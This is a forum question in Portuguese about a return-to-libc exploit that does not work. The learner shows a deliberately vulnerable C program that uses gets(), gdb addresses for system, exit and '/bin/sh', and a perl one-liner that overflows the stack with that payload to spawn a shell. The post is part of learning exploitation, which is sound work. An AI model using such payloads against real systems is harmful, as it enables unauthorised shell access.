retornar à libc - problema

Estou tendo problemas com a exploração de retorno à libc. O problema é que nada acontece, mas nenhuma falha de segmentação (e sim, estou realmente sobrecarregando a pilha).

Este é o meu programa:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Estou usando gets em vez de strcopy, porque meus endereços começam com 0x00 e strcpy acha que é o fim de uma string, então não posso usá-la.

Aqui estão os endereços que eu preciso:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

Ao inserir a sequência correta, isso acontece:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

então nada.

Mas se eu inserir 520 'A's (0x41), o EIP será transbordado por' A's. Se houver 516 'A', nada acontece, mas o EIP contém o endereço do sistema, seguindo o endereço de saída, seguindo o ponteiro / bin / sh.

Por que nada aconteceu?

questionAnswers(1)

yourAnswerToTheQuestion